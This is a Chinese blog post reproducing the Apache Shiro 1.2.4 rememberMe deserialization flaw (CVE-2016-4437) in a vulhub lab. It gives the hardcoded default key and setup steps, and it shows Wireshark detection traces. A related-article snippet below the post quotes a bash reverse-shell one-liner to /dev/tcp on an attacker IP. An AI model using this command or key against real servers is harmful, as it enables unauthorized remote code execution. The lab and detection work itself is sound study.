Apache Shiro 1.2.4反序列化漏洞（CVE-2016-4437、Shiro-550）

已于 2022-07-16 12:17:15 修改
阅读量567 收藏
点赞数 1
分类专栏： 漏洞复现 文章标签： apache 网络安全 web安全
于 2022-07-16 12:15:34 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_44842234/article/details/125817712
版权
本文详细介绍了Apache Shiro 1.2.4及其以前版本中的0x00漏洞，该漏洞允许攻击者通过伪造用户Cookie触发Java反序列化，从而在目标机器上执行任意命令。文章涵盖了漏洞原理、受影响版本、环境搭建、漏洞复现步骤，以及利用链和反弹shell的过程，并对比了Shiro550和Shiro721的区别。通过Wireshark追踪数据流，展示了漏洞利用的痕迹。
摘要由CSDN通过智能技术生成
0x00 漏洞原理

Apache Shiro是一款开源安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性。Apache Shiro 1.2.4及以前版本中，加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie，触发Java反序列化漏洞，进而在目标机器上执行任意命令。
 
 

0x01 影响版本

Shiro <= 1.2.4
  

0x02 环境搭建
192.168.68.68    #靶机
192.168.68.168   #攻击机/接收反弹Shell

  

0x03 漏洞复现
cd vulhub-master/shiro/CVE-2016-4437  #进入vulhub靶场 
docker-compose up -d                  #启动Apache Shiro

请添加图片描述
  
  

访问http://192.168.68.68:8080

请添加图片描述
  
  

用工具成功找到密钥 kPH+bIxk5D2deZiIxcaaaA==

请添加图片描述  
  

进一步探测，成功找到利用链

请添加图片描述
  
  

反弹shell

请添加图片描述
  
  

攻击机成功收到反弹过来的shell

请添加图片描述
  
  

用wireshark追踪数据流，可以看到shiro 550特征 remember以及返回的数据包中的remember=deleteMe

请添加图片描述
请添加图片描述
  
  
Shiro550跟Shiro721的区别在于：
Shiro550使用已知密钥碰撞，Shiro721是使用登录后rememberMe={value}(知道已经登陆用户的合法cookie)去爆破正确的key值进而反序列化
  
    
  
  

参考链接
https://vulhub.org/#/environments/shiro/CVE-2016-4437/

TheK403
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Apache Shiro 1.2.4反序列化漏洞(Shiro-550)--Shiro rememberMe反序列化漏洞(CVE-2016-4437)
薛定谔嘚喵博客
05-10 1545
Apache Shiro是一款开源安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性。Apache Shiro 1.2.4及以前版本中，加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie，触发Java反序列化漏洞，进而在目标机器上执行任意命令。
CVE-2016-4437 Shiro反序列化漏洞复现
weixin_45260839的博客
05-15 2847
CVE-2016-4437 Shiro反序列化漏洞复现
Apache shiro1.2.4反序列化漏洞介绍.docx
07-01
Apache shiro1.2.4反序列化漏洞介绍 Apache Shiro是一个Java安全框架，执行身份验证、授权、密码和会话管理。Apache Shiro框架提供了记住我（RememberMe）的功能，关闭了浏览器下次再打开时还是能记住你是谁，下次访问时无需再登录即可访问。
Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437)
qq_51163834的博客
06-05 2107
Apache Shiro框架提供了记住密码的功能，用户登录成功后会将用户信息加密，加密过程：用户信息=>序列化=>AES加密=>BASE64编码=>RememberMe Cookie值。如果用户勾选记住密码，那么在请求中会携带cookie，并且将加密信息存放在cookie的rememberMe字段里面，在服务器收到请求对RememberMe值，先进行base64解码然后AES解密在反序列化，这个加密过程如果我们知道AES加密的密钥，那么我们把用户信息替换成恶意命令，就导致了反序列化RCE漏洞。
Apache Shiro 1.2.4反序列化漏洞（CVE-2016-4437）
m0_61506558的博客
11-06 2564
关于shiro在2019年爆出来的漏洞，利用的条件相对来说比较苛刻，不仅要有一定的权限登入进去，进去之后密钥爆破也不一定可以成功，环境不好搭建，感兴趣的师傅可以看看，本篇文章介绍的是有关shiro反序列化的漏洞，(一）基本介绍。
漏洞复现（五）：Apache Shiro 1.2.4反序列化漏洞（CVE-2016-4437）
weixin_47306547的博客
01-03 3045
漏洞原理 Apache Shiro 1.2.4及以前版本中，加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie，触发Java反序列化漏洞，进而在目标机器上执行任意命令。 漏洞复现 环境搭建 cd vulhub/shiro/CVE-2016-4437/ docker-compose up -d 漏洞利用 工具：https://github.com/feihong-cs/ShiroExploit/relea.
Apache Shiro 1.2.4反序列化漏洞（CVE-2016-4437） 复现
yukinorong的博客
06-29 3250
基础知识 序列化和反序列化 反序列化漏洞原因 在Java反序列化中，会调用被反序列化的readObject方法，当readObject方法书写不当时就会引发漏洞。 反序列化的检测 基础库中隐藏的反序列化漏洞 优秀的Java开发人员一般会按照安全编程规范进行编程，很大程度上减少了反序列化漏洞的产生。并且一些成熟的Java框架比如Spring MVC、Struts2等，都有相应的防范反序列化的机制。如果仅仅是开发失误，可能很少会产生反序列化漏洞，即使产生，其绕过方法、利用方式也较为复杂。但
Apache Shiro 1.2.4反序列化漏洞（CVE-2016-4437）复现
玄道的网安博客
03-05 866
简介 Apache Shiro是一套用于执行认证、授权、加密和会话管理的Java安全框架。 影响版本 Apache Shiro < 1.2.5 环境搭建 这里使用docker来搭建 环境地址 https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437 进入目录并启动Apache Shiro 1.2.4的Web服务 cd vulhub-master/shiro/CVE-201...
漏洞复现—Shiro rememberMe反序列化漏洞CVE-2016-4437
weixin_45556536的博客
11-11 1733
shrio反序列化漏洞 一、漏洞介绍 Shiro 是 Java 的一个安全框架。Apache Shiro默认使用了CookieRememberMeManager，其处理cookie的流程是：得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的，就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。 二、影响范围 Apache Shiro <= 1.2.4 三、漏洞复现 恶意 Cookie rememberMe值构造前1
Apache Shiro 反序列化漏洞（Shiro-550 CVE-2016-4437）
渗透测试研究中心
12-03 1458
0x00 漏洞描述Apache Shiro是一款开源安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性。Apache Shiro 1.2.4及以前版本中，加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie，触发Java反序列化漏洞，进而在目标机器上执行任意命令只要remem...
Apache shiro 1.2.4反序列化漏洞(CVE-2016-4437)
不知名白帽的博客
05-29 1148
Apache shiro 1.2.4反序列化漏洞。通过BP抓包，在返回包中存在rememberme=deleteme字段。利用专门的jar工具进行复现漏洞
Apache Shiro 组件反序列化漏洞分析
最新发布
why811的博客
10-18 1078
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。为了让浏览器或服务器重启后用户不丢失登录状态，Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中，下次读取时进行解密再反序列化。
Apache Shiro反序列化漏洞复现(Shiro550，CVE-2016-4437)
来到了学渣的博客
04-25 9034
Shiro是什么东西？ Shiro 是 Java 的一个安全框架，执行身份验证、授权、密码、会话管理 shiro默认使用了CookieRememberMeManager，其处理cookie的流程是：得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化 然而AES的密钥是硬编码的，就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。 ...
Apache Shiro RememberMe 1.2.4 反序列化过程命令执行漏洞【原理扫描】
m0_54850467的博客
03-31 439
文章目录 一、分析定位 1. 漏洞描述 2. 项目引发漏洞简述 二、 若依系统 2.1. 版本升级 2.2. 配置文件 2.3. 推荐做法 2.4. 栗子 2.5. 项目场景 三、Gus系统 3.1. shiro版本升级 3.2. 调用重新生成 3.3. 生成工具类 shiro漏洞补充： 一、分析定位 1. 漏洞描述 目前厂商已经发布了新版本修复这个安全问题，请到厂商的主页下载： https://issues.apache.org/jira
Apache Shiro java反序列化漏洞复现
YUAN
08-20 1335
Apache Shiro java反序列化漏洞复现 影响版本 Apache Shiro <= 1.2.4 环境搭建 准备环境 攻击机: Windows或者Linux （我用的是windows10 1903）、ysoserial-0.0.6-SNAPSHOT-all.jar、python环境、Java环境 **靶机:**带docker的Linux就行 靶机环境搭建 获取docker镜像 docker pull medicean/vulapps:s_shiro_1 重启docker systemctl
vulhub漏洞复现 Apache Shiro 1.2.4反序列化漏洞 Apache Shiro 认证绕过漏洞
记录笔记
04-13 1447
vulhub漏洞复现 Apache Shiro 1.2.4反序列化漏洞 Apache Shiro 认证绕过漏洞 shiro反序列化漏洞有何特征？如何防御shiro反序列化漏洞 Apache Shiro框架提供了记住我的功能（RememberMe），用户登陆成功后会生成经过加密并编码的cookie，在服务端接收cookie值后，Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥，就可以构造一个恶意对象，对其进行序列化–>AES加密–>Base64编
Apache Shiro 1.2.4反序列化漏洞
07-27
Apache Shiro 1.2.4版本之前存在一个反序列化漏洞。在这个版本之前，默认的ASE密钥是固定的，这意味着攻击者可以直接反序列化执行恶意代码。然而，在1.2.4版本之后，ASE密钥不再是默认的，需要获取到密钥才能进行渗透。\[1\] 在服务端接收cookie值时，攻击者可以利用这个漏洞进行攻击。攻击者可以按照以下步骤来解析处理cookie值：首先检索RememberMe cookie的值，然后进行Base64解码，接着使用AES解密（加密密钥硬编码），最后进行反序列化操作。由于在调用反序列化时未进行任何过滤处理，攻击者可以触发远程代码执行漏洞。\[2\] 攻击者可以利用这个漏洞执行反弹shell语句，从而获取对目标系统的控制权。例如，可以使用以下命令来执行反弹shell语句：python .\shiro_rce.py http://192.168.111.8:8080 "bash -i >& /dev/tcp/192.168.111.128/9001 0>&1"。\[3\] #### 引用[.reference_title] - *1* *2* *3* [Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )](https://blog.csdn.net/weixin_60329395/article/details/127399081)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值